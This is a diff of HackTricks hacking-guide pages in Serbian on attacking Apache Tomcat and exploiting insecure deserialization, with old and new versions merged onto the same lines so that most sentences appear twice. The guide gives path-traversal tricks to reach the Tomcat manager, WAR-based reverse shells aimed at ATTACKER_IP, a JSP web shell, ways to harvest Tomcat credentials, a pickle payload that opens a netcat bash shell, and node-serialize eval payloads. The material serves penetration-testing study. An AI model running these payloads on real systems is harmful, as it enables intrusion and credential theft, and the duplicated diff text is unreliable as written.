Ranjivost CVE-2007-1860 u `mod_jk` omogućava dvostruko kodiranje URL adrese za prolazak kroz putanju, omogućavajući neovlašćen pristup upravljačkom interfejsu putem posebno oblikovane URL adrese. ### **Double URL Encoding**
Da biste pristupili upravljačkom vebu Tomcata, idite na: `pathTomcat/%252E%252E/manager/html` CVE-2007-1860 ranjivost u `mod_jk` omogućava dvostruko URL kodiranje putanje, omogućavajući neovlašćen pristup upravljačkom interfejsu putem posebno kreirane URL adrese.
### /primeri Da biste pristupili upravljačkom web interfejsu Tomcat-a, idite na: `pathTomcat/%252E%252E/manager/html`
Apache Tomcat verzije 4.x do 7.x uključuju primere skripti koji su podložni otkrivanju informacija i napadima preko skripti sa preusmeravanjem preko stranice (XSS). Ove skripte, navedene sveobuhvatno, treba proveriti radi neovlašćenog pristupa i potencijalne eksploatacije. Pronađite [više informacija ovde](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/) ### /examples
Apache Tomcat verzije 4.x do 7.x uključuju primer skripti koje su podložne otkrivanju informacija i napadima skriptovanja između sajtova (XSS). Ove skripte, koje su sveobuhvatno navedene, treba proveriti na neovlašćen pristup i potencijalnu eksploataciju. Pronađite [više informacija ovde](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
* /examples/jsp/num/numguess.jsp * /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp * /examples/jsp/dates/date.jsp
@ -107,21 +114,21 @@ Apache Tomcat verzije 4.x do 7.x uključuju primere skripti koji su podložni ot
* /examples/servlet/SessionExample * /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp * /tomcat-docs/appdev/sample/web/hello.jsp
### **Eksploatacija prolaska kroz putanju** ### **Path Traversal Exploit**
U nekim [**ranjivim konfiguracijama Tomcata**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) možete dobiti pristup zaštićenim direktorijumima u Tomcatu koristeći putanju: `/..;/` U nekim [**ranjivim konfiguracijama Tomcat-a**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) možete dobiti pristup zaštićenim direktorijumima u Tomcat-u koristeći putanju: `/..;/`
Na primer, možda ćete moći **pristupiti stranici za upravljanje Tomcatom** pristupanjem: `www.vulnerable.com/lalala/..;/manager/html` Dakle, na primer, možda ćete moći da **pristupite Tomcat menadžeru** stranici pristupom: `www.vulnerable.com/lalala/..;/manager/html`
**Još jedan način** za zaobilaženje zaštićenih putanja korišćenjem ovog trika je pristup `http://www.vulnerable.com/;param=value/manager/html` **Drugi način** da zaobiđete zaštićene putanje koristeći ovu trik je pristupiti `http://www.vulnerable.com/;param=value/manager/html`
## RCE ## RCE
Na kraju, ako imate pristup Upravljaču veb aplikacijama Tomcata, možete **otpakovati i implementirati .war datoteku (izvršiti kod)**. Na kraju, ako imate pristup Tomcat Web Application Manager-u, možete **otpremiti i implementirati .war datoteku (izvršiti kod)**.
### Ograničenja ### Limitations
Moći ćete implementirati WAR datoteku samo ako imate **dovoljno privilegija** (uloge: **admin**, **manager** i **manager-script**). Te detalje možete pronaći u _tomcat-users.xml_ obično definisane u `/usr/share/tomcat9/etc/tomcat-users.xml` (varira između verzija) (videti [POST ](./#post) odeljak). Možete implementirati WAR samo ako imate **dovoljna prava** (uloge: **admin**, **manager** i **manager-script**). Ti detalji se obično nalaze u _tomcat-users.xml_ definisanom u `/usr/share/tomcat9/etc/tomcat-users.xml` (varira između verzija) (vidi [POST ](./#post)section).
```bash ```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed # tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
@ -142,21 +149,21 @@ msf exploit(multi/http/tomcat_mgr_upload) > exploit
``` ```
### MSFVenom Reverse Shell ### MSFVenom Reverse Shell
1. Napravite rat za implementaciju: 1. Kreirajte war za implementaciju:
```bash ```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
``` ```
2. Postavite fajl `revshell.war` i pristupite mu (`/revshell/`): 2. Učitajte `revshell.war` datoteku i pristupite joj (`/revshell/`):
### Bind i reverse shell sa [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer) ### Bind i reverse shell sa [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
U nekim scenarijima ovo ne radi (na primer, starije verzije sun-a) U nekim scenarijima ovo ne funkcioniše (na primer, stare verzije sun)
#### Preuzimanje #### Preuzmi
```bash ```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git git clone https://github.com/mgeeky/tomcatWarDeployer.git
``` ```
#### Obrnuti shell #### Obrnuta ljuska
```bash ```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/ ./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
``` ```
@ -168,7 +175,7 @@ git clone https://github.com/mgeeky/tomcatWarDeployer.git
```bash ```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
``` ```
### Ručni metod - Veb čaura ### Ručna metoda - Web shell
Kreirajte **index.jsp** sa ovim [sadržajem](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp): Kreirajte **index.jsp** sa ovim [sadržajem](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
```java ```java
@ -201,9 +208,11 @@ jar -cvf ../webshell.war *
webshell.war is created webshell.war is created
# Upload it # Upload it
``` ```
### Ručni metod 2 Možete takođe instalirati ovo (omogućava upload, download i izvršavanje komandi): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
Preuzmite JSP web ljusku poput [ove](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) i kreirajte WAR datoteku: ### Ručna metoda 2
Dobijte JSP web shell kao što je [ovaj](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) i kreirajte WAR datoteku:
```bash ```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp zip -r backup.war cmd.jsp
@ -216,12 +225,12 @@ Ime datoteke sa Tomcat kredencijalima je _tomcat-users.xml_
```bash ```bash
find / -name tomcat-users.xml 2>/dev/null find / -name tomcat-users.xml 2>/dev/null
``` ```
Drugi načini za prikupljanje Tomcat akreditacija: Drugi načini za prikupljanje Tomcat akreditiva:
```bash ```bash
msf> use post/multi/gather/tomcat_gather msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat msf> use post/windows/gather/enum_tomcat
``` ```
## Ostali alati za skeniranje Tomcat-a ## Ostali alati za skeniranje tomcat-a
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner) * [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
@ -236,14 +245,17 @@ msf> use post/windows/gather/enum_tomcat
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF-u**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova** [**hacktricks repou**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repou**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,36 +1,37 @@
# Deserijalizacija # Deserialization
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## Osnovne informacije ## Basic Information
**Serijalizacija** se shvata kao metoda pretvaranja objekta u format koji može biti sačuvan, sa namerom da se objekat ili sačuva ili prenese kao deo komunikacionog procesa. Ova tehnika se često koristi kako bi se osiguralo da objekat može biti rekreiran u kasnijem trenutku, održavajući njegovu strukturu i stanje. **Serialization** se razume kao metoda konvertovanja objekta u format koji može biti sačuvan, sa namerom da se objekat ili sačuva ili prenese kao deo komunikacionog procesa. Ova tehnika se obično koristi da se osigura da objekat može biti ponovo kreiran u budućnosti, zadržavajući svoju strukturu i stanje.
**Deserijalizacija**, nasuprot tome, je proces koji deluje suprotno serijalizaciji. Uključuje uzimanje podataka koji su strukturirani u određenom formatu i rekonstruisanje ih nazad u objekat. **Deserialization**, s druge strane, je proces koji deluje protiv serijalizacije. Uključuje uzimanje podataka koji su strukturirani u specifičnom formatu i rekonstrukciju nazad u objekat.
Deserijalizacija može biti opasna jer potencijalno **omogućava napadačima da manipulišu serijalizovanim podacima kako bi izvršili štetan kod** ili izazvali neočekivano ponašanje u aplikaciji tokom procesa rekonstrukcije objekta. Deserialization može biti opasna jer potencijalno **omogućava napadačima da manipulišu serijalizovanim podacima kako bi izvršili štetan kod** ili izazvali neočekivano ponašanje u aplikaciji tokom procesa rekonstrukcije objekta.
## PHP ## PHP
U PHP-u, specifične magične metode se koriste tokom procesa serijalizacije i deserijalizacije: U PHP-u, specifične magične metode se koriste tokom procesa serijalizacije i deserializacije:
* `__sleep`: Poziva se kada se objekat serijalizuje. Ova metoda treba da vrati niz imena svih svojstava objekta koja treba da budu serijalizovana. Često se koristi za potvrdu očekivanih podataka ili izvođenje sličnih zadataka čišćenja. * `__sleep`: Poziva se kada se objekat serijalizuje. Ova metoda treba da vrati niz imena svih svojstava objekta koja treba serijalizovati. Obično se koristi za obaveštavanje o čekanju podataka ili obavljanje sličnih zadataka čišćenja.
* `__wakeup`: Poziva se kada se objekat deserijalizuje. Koristi se za ponovno uspostavljanje bilo kakvih veza sa bazom podataka koje su možda izgubljene tokom serijalizacije i izvođenje drugih zadataka ponovnog pokretanja. * `__wakeup`: Poziva se kada se objekat deserializuje. Koristi se za ponovnu uspostavu bilo kakvih veza sa bazom podataka koje su možda izgubljene tokom serijalizacije i obavljanje drugih zadataka ponovne inicijalizacije.
* `__unserialize`: Ova metoda se poziva umesto `__wakeup` (ako postoji) kada se objekat deserijalizuje. Pruža više kontrole nad procesom deserijalizacije u poređenju sa `__wakeup`. * `__unserialize`: Ova metoda se poziva umesto `__wakeup` (ako postoji) kada se objekat deserializuje. Daje više kontrole nad procesom deserializacije u poređenju sa `__wakeup`.
* `__destruct`: Ova metoda se poziva kada se objekat uništava ili kada se skripta završava. Obično se koristi za zadatke čišćenja, poput zatvaranja rukovaoca datotekama ili veza sa bazom podataka. * `__destruct`: Ova metoda se poziva kada se objekat sprema da bude uništen ili kada skript završi. Obično se koristi za zadatke čišćenja, kao što su zatvaranje datotečnih rukovaoca ili veza sa bazom podataka.
* `__toString`: Ova metoda omogućava da se objekat tretira kao string. Može se koristiti za čitanje datoteke ili druge zadatke na osnovu poziva funkcija unutar nje, efikasno pružajući tekstualnu reprezentaciju objekta. * `__toString`: Ova metoda omogućava da se objekat tretira kao string. Može se koristiti za čitanje datoteke ili druge zadatke zasnovane na pozivima funkcija unutar njega, efikasno pružajući tekstualnu reprezentaciju objekta.
```php ```php
<?php <?php
class test { class test {
@ -86,10 +87,10 @@ This is a test<br />
*/ */
?> ?>
``` ```
Ako pogledate rezultate, možete videti da se funkcije **`__wakeup`** i **`__destruct`** pozivaju prilikom deserializacije objekta. Imajte na umu da u nekoliko tutorijala ćete pronaći da se funkcija **`__toString`** poziva prilikom pokušaja štampanja nekog atributa, ali izgleda da se to **više ne dešava**. Ako pogledate rezultate, možete videti da se funkcije **`__wakeup`** i **`__destruct`** pozivaju kada se objekat deserializuje. Imajte na umu da u nekoliko tutorijala možete pronaći da se funkcija **`__toString`** poziva kada pokušavate da odštampate neku atribut, ali očigledno to **više ne dešava**.
{% hint style="warning" %} {% hint style="warning" %}
Metoda **`__unserialize(array $data)`** se poziva **umesto `__wakeup()`** ako je implementirana u klasi. Omogućava vam da deserializujete objekat pružajući serijske podatke kao niz. Možete koristiti ovu metodu da deserializujete osobine i obavite sve neophodne zadatke prilikom deserializacije. Metoda **`__unserialize(array $data)`** se poziva **umesto `__wakeup()`** ako je implementirana u klasi. Omogućava vam da deserializujete objekat pružajući serijalizovane podatke kao niz. Možete koristiti ovu metodu za deserializaciju svojstava i izvršavanje svih potrebnih zadataka prilikom deserializacije.
```php ```php
class MyClass { class MyClass {
private $property; private $property;
@ -102,11 +103,11 @@ $this->property = $data['property'];
``` ```
{% endhint %} {% endhint %}
Možete pročitati objašnjen **PHP primer ovde**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), ovde [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) ili ovde [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) Možete pročitati objašnjeni **PHP primer ovde**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), ovde [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) ili ovde [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
### PHP Deserial + Autoload Klasa ### PHP Deserial + Autoload Klase
Možete zloupotrebiti PHP autoload funkcionalnost da učitate proizvoljne php fajlove i više: Možete zloupotrebiti PHP autoload funkcionalnost da učitate proizvoljne php datoteke i još više:
{% content-ref url="php-deserialization-+-autoload-classes.md" %} {% content-ref url="php-deserialization-+-autoload-classes.md" %}
[php-deserialization-+-autoload-classes.md](php-deserialization-+-autoload-classes.md) [php-deserialization-+-autoload-classes.md](php-deserialization-+-autoload-classes.md)
@ -127,15 +128,15 @@ $o->param1 =& $o->param22;
$o->param = "PARAM"; $o->param = "PARAM";
$ser=serialize($o); $ser=serialize($o);
``` ```
### PHPGGC (ysoserial za PHP) ### PHPGGC (ysoserial for PHP)
[**PHPGGC**](https://github.com/ambionics/phpggc) može vam pomoći da generišete payload-ove za zloupotrebu PHP deserijalizacije.\ [**PHPGGC**](https://github.com/ambionics/phpggc) može vam pomoći da generišete payload-ove za zloupotrebu PHP deseralizacija.\
Imajte na umu da u nekoliko slučajeva **nećete moći pronaći način za zloupotrebu deserijalizacije u izvornom kodu** aplikacije, ali biste možda mogli **zloupotrebiti kod spoljnih PHP ekstenzija.**\ Imajte na umu da u nekoliko slučajeva **nećete moći da pronađete način da zloupotrebite deseralizaciju u izvoru koda** aplikacije, ali možda ćete moći da **zloupotrebite kod eksternih PHP ekstenzija.**\
Dakle, ako možete, proverite `phpinfo()` servera i **tražite na internetu** (čak i na **gadgetima** **PHPGGC**) neki mogući gadget koji biste mogli zloupotrebiti. Dakle, ako možete, proverite `phpinfo()` servera i **pretražujte internet** (čak i na **gadgets** od **PHPGGC**) za neke moguće gadgete koje biste mogli zloupotrebiti.
### deserijalizacija metapodataka phar:// ### phar:// metadata deserialization
Ako ste pronašli LFI koji samo čita datoteku i ne izvršava PHP kod unutar nje, na primer koristeći funkcije poput _**file\_get\_contents(), fopen(), file() ili file\_exists(), md5\_file(), filemtime() ili filesize()**_. Možete pokušati zloupotrebiti **deserijalizaciju** koja se dešava prilikom **čitanja** datoteke koristeći protokol **phar**.\ Ako ste pronašli LFI koji samo čita datoteku i ne izvršava php kod unutar nje, na primer koristeći funkcije kao što su _**file\_get\_contents(), fopen(), file() ili file\_exists(), md5\_file(), filemtime() ili filesize()**_**.** Možete pokušati da zloupotrebite **deseralizaciju** koja se dešava prilikom **čitavanja** **datoteke** koristeći **phar** protokol.\
Za više informacija pročitajte sledeći post: Za više informacija pročitajte sledeći post:
{% content-ref url="../file-inclusion/phar-deserialization.md" %} {% content-ref url="../file-inclusion/phar-deserialization.md" %}
@ -146,7 +147,7 @@ Za više informacija pročitajte sledeći post:
### **Pickle** ### **Pickle**
Kada se objekat depickla, funkcija _\_\_reduce\_\__ će biti izvršena.\ Kada se objekat unpickle, funkcija _\_\_reduce\_\__ će biti izvršena.\
Kada se iskoristi, server može vratiti grešku. Kada se iskoristi, server može vratiti grešku.
```python ```python
import pickle, os, base64 import pickle, os, base64
@ -155,7 +156,7 @@ def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",)) return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P()))) print(base64.b64encode(pickle.dumps(P())))
``` ```
Za više informacija o bekstvu iz **pickle zatvora** proverite: Za više informacija o izlasku iz **pickle jails** proverite:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
@ -163,13 +164,13 @@ Za više informacija o bekstvu iz **pickle zatvora** proverite:
### Yaml **&** jsonpickle ### Yaml **&** jsonpickle
Na sledećoj stranici je prikazana tehnika zloupotrebe nesigurne deserijalizacije u yaml Python bibliotekama i završava se alatom koji se može koristiti za generisanje RCE deserijalizacijskog payloada za **Pickle, PyYAML, jsonpickle i ruamel.yaml**: Sledeća stranica predstavlja tehniku **zloupotrebe nesigurne deserializacije u yaml** python bibliotekama i završava alatom koji se može koristiti za generisanje RCE deserializacijskih payload-a za **Pickle, PyYAML, jsonpickle i ruamel.yaml**:
{% content-ref url="python-yaml-deserialization.md" %} {% content-ref url="python-yaml-deserialization.md" %}
[python-yaml-deserialization.md](python-yaml-deserialization.md) [python-yaml-deserialization.md](python-yaml-deserialization.md)
{% endcontent-ref %} {% endcontent-ref %}
### Zagađenje klasa (Python Prototipno zagađenje) ### Class Pollution (Python Prototype Pollution)
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} {% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %}
[class-pollution-pythons-prototype-pollution.md](../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md) [class-pollution-pythons-prototype-pollution.md](../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
@ -177,12 +178,12 @@ Na sledećoj stranici je prikazana tehnika zloupotrebe nesigurne deserijalizacij
## NodeJS ## NodeJS
### JS Magične funkcije ### JS Magic Functions
JS **nema "magične" funkcije** poput PHP-a ili Python-a koje će se izvršiti samo prilikom kreiranja objekta. Ali ima neke **funkcije** koje se **često koriste čak i bez direktnog pozivanja** kao što su **`toString`**, **`valueOf`**, **`toJSON`**.\ JS **nema "magic" funkcije** kao PHP ili Python koje će biti izvršene samo za kreiranje objekta. Ali ima neke **funkcije** koje se **često koriste čak i bez direktnog pozivanja** kao što su **`toString`**, **`valueOf`**, **`toJSON`**.\
Ako zloupotrebite deserijalizaciju, možete **ugroziti ove funkcije da izvrše drugi kod** (potencijalno zloupotrebljavajući prototipno zagađenje) i možete izvršiti proizvoljan kod kada se pozovu. Ako zloupotrebljavate deserializaciju, možete **kompromitovati te funkcije da izvrše drugi kod** (potencijalno zloupotrebljavajući prototipske zagađenja) i mogli biste izvršiti proizvoljan kod kada se pozovu.
Još jedan **"magičan" način pozivanja funkcije** bez direktnog pozivanja je **ugrožavanje objekta koji vraća asinhrona funkcija** (promise). Jer, ako **transformišete** taj **vraćeni objekat** u drugi **promise** sa **svojstvom** nazvanim **"then" tipa funkcija**, biće **izvršen** samo zato što je vraćen od drugog promise-a. _Pratite_ [_**ovaj link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _za više informacija._ Drugi **"magic" način da pozovete funkciju** bez direktnog pozivanja je **kompromitovanjem objekta koji se vraća iz async funkcije** (promise). Jer, ako **transformišete** taj **vraćeni objekat** u drugu **promise** sa **svojstvom** pod nazivom **"then" tipa funkcije**, biće **izvršena** samo zato što je vraćena iz druge promise. _Pratite_ [_**ovu vezu**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _za više informacija._
```javascript ```javascript
// If you can compromise p (returned object) to be a promise // If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function: // it will be executed just because it's the return object of an async function:
@ -206,9 +207,9 @@ test_ressolve()
test_then() test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/ //For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
``` ```
### `__proto__` и `prototype` загађење ### `__proto__` i `prototype` zagađenje
Ако želite da saznate više o ovoj tehnici **pogledajte sledeći tutorijal**: Ako želite da saznate više o ovoj tehnici **pogledajte sledeći tutorijal**:
{% content-ref url="nodejs-proto-prototype-pollution/" %} {% content-ref url="nodejs-proto-prototype-pollution/" %}
[nodejs-proto-prototype-pollution](nodejs-proto-prototype-pollution/) [nodejs-proto-prototype-pollution](nodejs-proto-prototype-pollution/)
@ -216,7 +217,7 @@ test_then()
### [node-serialize](https://www.npmjs.com/package/node-serialize) ### [node-serialize](https://www.npmjs.com/package/node-serialize)
Ova biblioteka omogućava serializaciju funkcija. Primer: Ova biblioteka omogućava serijalizaciju funkcija. Primer:
```javascript ```javascript
var y = { var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}, "rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
@ -225,41 +226,41 @@ var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y); var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized); console.log("Serialized: \n" + payload_serialized);
``` ```
**Serializovani objekat** će izgledati ovako: **Serijalizovani objekat** će izgledati ovako:
```bash ```bash
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"} {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
``` ```
Možete videti u primeru da kada je funkcija serializovana, zastava `_$$ND_FUNC$$_` se dodaje serializovanom objektu. Možete videti u primeru da kada je funkcija serijalizovana, `_$$ND_FUNC$$_` oznaka se dodaje serijalizovanom objektu.
Unutar fajla `node-serialize/lib/serialize.js` možete pronaći istu zastavu i kako je kod koristi. Unutar datoteke `node-serialize/lib/serialize.js` možete pronaći istu oznaku i kako se kod koristi.
![](<../../.gitbook/assets/image (351).png>) ![](<../../.gitbook/assets/image (351).png>)
![](<../../.gitbook/assets/image (446).png>) ![](<../../.gitbook/assets/image (446).png>)
Kao što možete videti u poslednjem delu koda, **ako se zastava pronađe**, `eval` se koristi za deserializaciju funkcije, tako da se **korisnički unos koristi unutar funkcije `eval`**. Kao što možete videti u poslednjem delu koda, **ako je oznaka pronađena** `eval` se koristi za deserializaciju funkcije, tako da suštinski **korisnički unos se koristi unutar `eval` funkcije**.
Međutim, **samo serializovanje** funkcije **neće je izvršiti** jer bi bilo potrebno da neki deo koda **poziva `y.rce`** u našem primeru, što je veoma **neverovatno**.\ Međutim, **samo serijalizovanje** funkcije **neće je izvršiti** jer bi bilo potrebno da neki deo koda **poziva `y.rce`** u našem primeru i to je veoma **neprikladno**.\
U svakom slučaju, možete **izmeniti serializovani objekat** dodavanjem zagrada kako biste automatski izvršili serializovanu funkciju prilikom deserializacije objekta.\ U svakom slučaju, mogli biste samo **modifikovati serijalizovani objekat** **dodajući neke zagrade** kako biste automatski izvršili serijalizovanu funkciju kada se objekat deserializuje.\
U sledećem delu koda **obratite pažnju na poslednje zagrade** i kako će funkcija `unserialize` automatski izvršiti kod: U sledećem delu koda **obratite pažnju na poslednju zagradu** i kako će `unserialize` funkcija automatski izvršiti kod:
```javascript ```javascript
var serialize = require('node-serialize'); var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"}; var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test); serialize.unserialize(test);
``` ```
Kao što je prethodno naznačeno, ova biblioteka će dobiti kod nakon`_$$ND_FUNC$$_` i **izvršiti ga** koristeći `eval`. Stoga, kako biste **automatski izvršili kod**, možete **izbrisati deo kreiranja funkcije** i poslednju zatvorenu zagradu i **samo izvršiti JS jednolinijski kod** kao u sledećem primeru: Kao što je prethodno naznačeno, ova biblioteka će dobiti kod nakon `_$$ND_FUNC$$_` i će **izvršiti** ga koristeći `eval`. Stoga, da biste **automatski izvršili kod**, možete **izbrisati deo za kreiranje funkcije** i poslednju zagradu i **samo izvršiti JS oneliner** kao u sledećem primeru:
```javascript ```javascript
var serialize = require('node-serialize'); var serialize = require('node-serialize');
